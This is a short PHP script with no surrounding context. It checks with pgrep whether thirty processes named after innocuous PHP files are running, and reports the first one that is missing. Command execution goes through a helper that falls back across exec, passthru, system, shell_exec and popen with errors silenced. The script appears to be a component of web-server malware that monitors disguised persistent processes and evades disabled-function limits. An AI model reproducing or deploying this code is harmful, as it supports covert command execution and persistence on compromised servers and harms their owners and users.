<?php   $files = ['ZipArchive','db_export','cookie_setup','listusertags','representatives','events_template','user_add_new','register8','export.class','mod_gallery_new','product_info','fckeditor_php5','reading_eco','masterRegistEN','tchinese_big5','adr_temple','status.inc','irccommands','adr_copyright','discuz_version','viva_zoom','check_fighters','newCourseNote','registerclient','forms_add_3','editbookmark','usergroups.inc','db_tracking','helptopics','federazione']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }